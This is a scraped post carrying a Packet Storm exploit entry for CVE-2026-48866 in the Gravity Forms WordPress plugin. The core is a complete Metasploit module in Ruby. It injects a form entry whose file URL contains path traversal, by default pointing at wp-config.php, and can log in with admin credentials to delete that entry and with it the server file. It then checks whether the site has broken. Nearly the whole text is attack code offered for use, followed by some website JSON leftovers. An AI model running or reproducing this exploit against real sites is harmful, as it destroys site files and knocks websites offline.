{“lastseen”:”2026-06-12T16:32:07″,”description”:”This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin versions 2.10.0.1 and below where file URLs stored in form entries are not properly validated. An attacker can inject a crafted entry containing path traversal…”,”published”:”2026-06-12T00:00:00″,”modified”:”2026-06-12T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress Gravity Forms 2.10.0.1 File Deletion \/ Path Traversal”,”source”:””,”references”:””,”id”:”PACKETSTORM:223339″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-48866″],”sourceData”:”==================================================================================================================================\\n | # Title : Gravity Forms arbitrary file deletion via path traversal |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits) |\\n | # Vendor : https:\/\/gravityforms.com |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin (\u2264 2.10.0.1) where file URLs stored in form entries are not properly validated. \\n An attacker can inject a crafted entry containing path traversal sequences (..\/) to reference files outside the intended uploads directory.\\n \\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HTTP::Wordpress\\n include Msf::Auxiliary::Report\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Gravity Forms Arbitrary File Deletion via Path Traversal’,\\n ‘Description’ =\\u003e %q{\\n This module exploits a path traversal vulnerability in Gravity Forms\\n plugin for WordPress (versions \\u003c= 2.10.0.1). The plugin does not validate\\n that file URLs stored in entries are within the uploads directory.\\n \\n An attacker can submit a form with a crafted gform_uploaded_files parameter\\n containing path traversal sequences (..\/). When an admin later deletes\\n the entry (or the file from the entry), the delete_physical_file()\\n function resolves the traversal and deletes an arbitrary file from\\n the server filesystem.\\n \\n This module can either:\\n 1. Inject the malicious entry (unauthenticated)\\n 2. Optionally trigger the deletion using admin credentials\\n },\\n ‘Author’ =\\u003e [‘indoushka’],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-48866’],\\n [‘URL’, ‘https:\/\/www.gravityforms.com\/changelog\/’],\\n [‘WPVDB’, ‘12345’] \\n ],\\n ‘DisclosureDate’ =\\u003e ‘2026-06-01’,\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS, CONFIG_CHANGES]\\n },\\n ‘Actions’ =\\u003e [\\n [‘INJECT’, { ‘Description’ =\\u003e ‘Only inject malicious entry’ }],\\n [‘TRIGGER’, { ‘Description’ =\\u003e ‘Inject and trigger deletion’ }]\\n ],\\n ‘DefaultAction’ =\\u003e ‘TRIGGER’\\n )\\n )\\n register_options([\\n OptInt.new(‘FORM_ID’, [true, ‘Gravity Forms form ID’, 1]),\\n OptInt.new(‘FIELD_ID’, [true, ‘File upload field ID’, 1]),\\n OptString.new(‘TARGET_FILE’, [true, ‘File to delete (relative to WP root)’, ‘wp-config.php’]),\\n OptInt.new(‘TRAVERSAL_DEPTH’, [true, ‘Path traversal depth’, 3]),\\n OptString.new(‘UPLOAD_URL’, [false, ‘Full upload URL root (auto-detected if omitted)’]),\\n OptString.new(‘WP_ADMIN_USER’, [false, ‘WordPress admin username (for TRIGGER action)’]),\\n OptString.new(‘WP_ADMIN_PASS’, [false, ‘WordPress admin password (for TRIGGER action)’]),\\n OptInt.new(‘DELAY_BEFORE_TRIGGER’, [false, ‘Seconds to wait before triggering deletion’, 5])\\n ])\\n register_advanced_options([\\n OptBool.new(‘VERIFY_FILE_DELETION’, [true, ‘Check if file was deleted’, false])\\n ])\\n end\\n def form_id\\n datastore[‘FORM_ID’]\\n end\\n def field_id\\n datastore[‘FIELD_ID’]\\n end\\n def target_file\\n datastore[‘TARGET_FILE’]\\n end\\n def traversal_depth\\n datastore[‘TRAVERSAL_DEPTH’]\\n end\\n def upload_url\\n datastore[‘UPLOAD_URL’]\\n end\\n def admin_user\\n datastore[‘WP_ADMIN_USER’]\\n end\\n def admin_pass\\n datastore[‘WP_ADMIN_PASS’]\\n end\\n def check\\n print_status(\\”Checking if Gravity Forms is installed…\\”)\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(wordpress_url_plugins, ‘gravityforms’, ‘gravityforms.php’)\\n })\\n unless res \\u0026\\u0026 res.code == 200\\n print_error(\\”Gravity Forms plugin not detected\\”)\\n return CheckCode::Safe\\n end\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(wordpress_url_plugins, ‘gravityforms’, ‘readme.txt’)\\n })\\n if res \\u0026\\u0026 res.code == 200\\n version = res.body.scan(\/Stable tag:\\\\s*([0-9.]+)\/i).flatten.first\\n if version\\n print_status(\\”Gravity Forms version detected: #{version}\\”)\\n if version \\u003c= ‘2.10.0.1’\\n return CheckCode::Appears\\n else\\n return CheckCode::Safe\\n end\\n end\\n end\\n CheckCode::Detected\\n end\\n def get_form_nonce\\n print_status(\\”Fetching form page to extract nonce…\\”)\\n form_paths = [\\n ‘\/’,\\n \\”\/?gf_page=preview\\u0026id=#{form_id}\\”,\\n ‘\/contact\/’,\\n ‘\/submit\/’,\\n \\”\/wp-admin\/admin.php?page=gf_edit_forms\\u0026view=settings\\u0026subview=preview\\u0026id=#{form_id}\\”\\n ]\\n nonce = nil\\n unique_id = generate_random_string(12)\\n page_body = nil\\n \\n form_paths.each do |path|\\n begin\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(path)\\n })\\n if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body.include?(\\”gform_submit_#{form_id}\\”)\\n page_body = res.body\\n break\\n end\\n rescue ::Rex::ConnectionError\\n next\\n end\\n end\\n unless page_body\\n print_error(\\”Could not access form page\\”)\\n return [nil, nil, nil]\\n end\\n nonce_patterns = [\\n \/gform_ajax_nonce[\\”\\\\s:]+[\\”\\\\’]([a-f0-9]+)[\\”\\\\’]\/,\\n \/name=[\\”\\\\’]gform_ajax_nonce[\\”\\\\’][^\\u003e]*value=[\\”\\\\’]([a-f0-9]+)[\\”\\\\’]\/,\\n \/\\”nonce\\”:\\”([a-f0-9]+)\\”\/,\\n \/gform_ajax_nonce=([a-f0-9]+)\/\\n ]\\n nonce_patterns.each do |pattern|\\n match = page_body.match(pattern)\\n if match\\n nonce = match[1]\\n break\\n end\\n end\\n unique_id_patterns = [\\n \/gform_unique_id[\\”\\\\s:]+[\\”\\\\’]([a-zA-Z0-9]+)[\\”\\\\’]\/,\\n \/name=[\\”\\\\’]gform_unique_id[\\”\\\\’][^\\u003e]*value=[\\”\\\\’]([a-zA-Z0-9]+)[\\”\\\\’]\/\\n ]\\n unique_id_patterns.each do |pattern|\\n match = page_body.match(pattern)\\n if match\\n unique_id = match[1]\\n break\\n end\\n end\\n print_good(\\”Got nonce: #{nonce}\\”) if nonce\\n print_good(\\”Got unique_id: #{unique_id}\\”) if unique_id\\n [nonce, unique_id, page_body]\\n end\\n def craft_payload\\n traversal = ‘..\/’ * traversal_depth\\n if upload_url\\n base_url = upload_url\\n else\\n base_url = \\”#{target_uri}\/wp-content\/uploads\/gravity_forms\\”\\n end\\n malicious_url = \\”#{base_url.rstrip(‘\/’)}\/#{traversal}#{target_file}\\”\\n input_name = \\”input_#{field_id}\\”\\n \\n payload_hash = {\\n input_name =\\u003e [\\n {\\n ‘url’ =\\u003e malicious_url,\\n ‘uploaded_filename’ =\\u003e ‘legitimate.txt’,\\n ‘id’ =\\u003e \\”poc-#{Rex::Text.rand_text_alpha(8)}\\”\\n }\\n ]\\n }\\n [JSON.generate(payload_hash), malicious_url, input_name]\\n end\\n def submit_form\\n print_status(\\”Injecting path traversal payload…\\”)\\n nonce, unique_id, _ = get_form_nonce\\n unless unique_id\\n print_error(\\”Could not extract gform_unique_id\\”)\\n return [false, nil]\\n end\\n payload_json, malicious_url, input_name = craft_payload\\n print_good(\\”Crafted malicious URL: #{malicious_url}\\”)\\n post_data = {\\n \\”is_submit_#{form_id}\\” =\\u003e ‘1’,\\n ‘gform_submit’ =\\u003e form_id.to_s,\\n \\”gform_unique_id\\” =\\u003e unique_id,\\n ‘gform_uploaded_files’ =\\u003e payload_json,\\n ‘gform_target_page_number_1’ =\\u003e ‘0’,\\n ‘gform_source_page_number_1’ =\\u003e ‘1’,\\n ‘gform_field_values’ =\\u003e ”,\\n ‘action’ =\\u003e ‘gform_submit_form’\\n }\\n \\n post_data[\\”gform_ajax_nonce\\”] = nonce if nonce\\n ajax_url = normalize_uri(wordpress_url_admin, ‘admin-ajax.php’)\\n print_status(\\”Submitting form #{form_id} to #{ajax_url}…\\”)\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e ajax_url,\\n ‘vars_post’ =\\u003e post_data,\\n ‘headers’ =\\u003e {\\n ‘X-Requested-With’ =\\u003e ‘XMLHttpRequest’,\\n ‘Content-Type’ =\\u003e ‘application\/x-www-form-urlencoded’\\n }\\n })\\n unless res\\n print_error(\\”No response from server\\”)\\n return [false, nil]\\n end\\n print_status(\\”Response status: #{res.code}\\”)\\n entry_id = nil\\n if res.code == 200\\n entry_patterns = [\\n \/\\”entry_id\\”\\\\s*:\\\\s*\\”?(\\\\d+)\\”?\/,\\n \/entry_id=(\\\\d+)\/,\\n \/lid=(\\\\d+)\/\\n ]\\n entry_patterns.each do |pattern|\\n match = res.body.match(pattern)\\n if match\\n entry_id = match[1]\\n break\\n end\\n end\\n if res.body.include?(‘gformRedirect’) ||\\n res.body.include?(‘confirmation’) ||\\n res.body.include?(‘thank’)\\n print_good(\\”Form submitted successfully\\”)\\n print_good(\\”Entry ID: #{entry_id}\\”) if entry_id\\n return [true, entry_id]\\n elsif res.body.include?(‘validation_error’)\\n print_error(\\”Form validation failed – form may require additional fields\\”)\\n print_status(\\”Response: #{res.body[0..500]}\\”) if datastore[‘VERBOSE’]\\n return [false, nil]\\n else\\n print_warning(\\”Unclear response – may not have created entry\\”)\\n print_status(\\”Response: #{res.body[0..500]}\\”) if datastore[‘VERBOSE’]\\n return [false, nil]\\n end\\n else\\n print_error(\\”Submission failed with status #{res.code}\\”)\\n print_status(\\”Attempting direct POST to form action…\\”)\\n direct_res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e target_uri.path,\\n ‘vars_post’ =\\u003e post_data.except(‘action’)\\n })\\n if direct_res \\u0026\\u0026 direct_res.code == 200\\n print_good(\\”Direct POST successful\\”)\\n return [true, nil]\\n end\\n return [false, nil]\\n end\\n end\\n def login_as_admin\\n print_status(\\”Attempting to login as admin…\\”)\\n login_data = {\\n ‘log’ =\\u003e admin_user,\\n ‘pwd’ =\\u003e admin_pass,\\n ‘wp-submit’ =\\u003e ‘Log In’,\\n ‘redirect_to’ =\\u003e normalize_uri(wordpress_url_admin),\\n ‘testcookie’ =\\u003e ‘1’\\n }\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(‘wp-login.php’),\\n ‘vars_post’ =\\u003e login_data,\\n ‘keep_cookies’ =\\u003e true\\n })\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(wordpress_url_admin),\\n ‘keep_cookies’ =\\u003e true\\n })\\n if res \\u0026\\u0026 (res.body.include?(‘dashboard’) || res.code == 200)\\n print_good(\\”Logged in as #{admin_user}\\”)\\n return true\\n else\\n print_error(\\”Login failed\\”)\\n return false\\n end\\n end\\n def trigger_deletion(entry_id)\\n print_status(\\”Triggering entry deletion…\\”)\\n unless login_as_admin\\n print_error(\\”Cannot trigger deletion without admin access\\”)\\n return false\\n end\\n entries_url = normalize_uri(wordpress_url_admin, ‘admin.php’, { ‘page’ =\\u003e ‘gf_entries’ })\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e entries_url,\\n ‘keep_cookies’ =\\u003e true\\n })\\n unless res \\u0026\\u0026 res.code == 200\\n print_error(\\”Could not access entries page\\”)\\n return false\\n end\\n delete_nonce = nil\\n nonce_patterns = [\\n \/page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)\/,\\n \/_wpnonce=([a-f0-9]+).*?delete\/,\\n \/name=\\”_wpnonce\\”\\\\s+value=\\”([a-f0-9]+)\\”\/\\n ]\\n nonce_patterns.each do |pattern|\\n match = res.body.match(pattern)\\n if match\\n delete_nonce = match[1]\\n break\\n end\\n end\\n unless delete_nonce\\n print_error(\\”Could not extract delete nonce\\”)\\n return false\\n end\\n print_good(\\”Got delete nonce: #{delete_nonce}\\”)\\n target_entry = entry_id || find_latest_entry\\n unless target_entry\\n print_error(\\”No entry ID available to delete\\”)\\n return false\\n end\\n print_status(\\”Deleting entry #{target_entry}…\\”)\\n delete_data = {\\n ‘action’ =\\u003e ‘delete’,\\n ‘entry[]’ =\\u003e target_entry.to_s,\\n ‘_wpnonce’ =\\u003e delete_nonce\\n }\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e entries_url,\\n ‘vars_post’ =\\u003e delete_data,\\n ‘keep_cookies’ =\\u003e true\\n })\\n if res \\u0026\\u0026 res.code == 200\\n print_good(\\”Entry deleted – target file should now be deleted\\”)\\n return true\\n else\\n print_error(\\”Delete request failed\\”)\\n return false\\n end\\n end\\n def find_latest_entry\\n rest_url = normalize_uri(‘wp-json’, ‘gf\/v2’, ‘entries’)\\n rest_url \\u003c\\u003c \\”?_sort_direction=DESC\\u0026paging[page_size]=1\\”\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e rest_url,\\n ‘keep_cookies’ =\\u003e true\\n })\\n if res \\u0026\\u0026 res.code == 200\\n begin\\n json_data = JSON.parse(res.body)\\n if json_data[‘entries’] \\u0026\\u0026 !json_data[‘entries’].empty?\\n return json_data[‘entries’][0][‘id’]\\n end\\n rescue JSON::ParserError\\n end\\n end\\n entries_url = normalize_uri(wordpress_url_admin, ‘admin.php’, { ‘page’ =\\u003e ‘gf_entries’ })\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e entries_url,\\n ‘keep_cookies’ =\\u003e true\\n })\\n if res \\u0026\\u0026 res.code == 200\\n matches = res.body.scan(\/entry_id=(\\\\d+)\/)\\n return matches.flatten.first if matches.any?\\n end\\n nil\\n end\\n def verify_file_deletion\\n print_status(\\”Verifying target file status…\\”)\\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e target_uri.path\\n })\\n if res\\n if res.code == 500 || res.body =~ \/error establishing a database connection\/i\\n print_good(\\”Site appears to be having database issues – wp-config.php likely deleted!\\”)\\n return true\\n elsif res.code == 200\\n print_status(\\”Site still responding normally\\”)\\n return false\\n end\\n end\\n print_status(\\”Could not definitively verify file deletion\\”)\\n nil\\n end\\n def generate_random_string(length)\\n Rex::Text.rand_text_alphanumeric(length)\\n end\\n def run\\n print_status(\\”Starting CVE-2026-48866 exploitation\\”)\\n check_result = check\\n if check_result == CheckCode::Safe\\n print_error(\\”Target does not appear vulnerable\\”)\\n return\\n elsif check_result == CheckCode::Detected\\n print_status(\\”Gravity Forms detected but version unknown\\”)\\n else\\n print_good(\\”Target appears vulnerable\\”)\\n end\\n print_status(\\”Target file to delete: #{target_file}\\”)\\n print_status(\\”Traversal depth: #{traversal_depth}\\”)\\n \\n success, entry_id = submit_form\\n unless success\\n print_error(\\”Failed to inject malicious entry\\”)\\n return\\n end\\n report_note(\\n host: rhost,\\n port: rport,\\n type: ‘gravity_forms_poisoned_entry’,\\n data: {\\n form_id: form_id,\\n field_id: field_id,\\n target_file: target_file,\\n entry_id: entry_id\\n },\\n update: :unique_data\\n )\\n if action.name == ‘TRIGGER’\\n if admin_user.nil? || admin_pass.nil?\\n print_error(\\”TRIGGER action requires WP_ADMIN_USER and WP_ADMIN_PASS options\\”)\\n return\\n end\\n print_status(\\”Waiting #{datastore[‘DELAY_BEFORE_TRIGGER’]} seconds before triggering…\\”)\\n Rex.sleep(datastore[‘DELAY_BEFORE_TRIGGER’])\\n delete_success = trigger_deletion(entry_id)\\n if delete_success \\u0026\\u0026 datastore[‘VERIFY_FILE_DELETION’]\\n verify_file_deletion\\n end\\n if delete_success\\n print_good(\\”Successfully triggered file deletion\\”)\\n else\\n print_error(\\”Failed to trigger deletion – admin may need to delete entry manually\\”)\\n end\\n else\\n print_good(\\”Malicious entry injected successfully\\”)\\n print_status(\\”To trigger deletion:\\”)\\n print_status(\\” 1. An admin must delete the entry containing the poisoned URL\\”)\\n print_status(\\” 2. Or run module with TRIGGER action and valid admin credentials\\”)\\n print_line\\n print_status(\\”Target file ‘#{target_file}’ will be deleted when entry is removed\\”)\\n end\\n end\\n end\\n \\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223339″,”cvss”:{“score”:9.6,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223339\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-12T16:32:07″,”description”:”This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin versions 2.10.0.1 and below where file URLs stored in form entries are not…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,62,12,13,53,7,11,5],"class_list":["post-62292","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-96","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n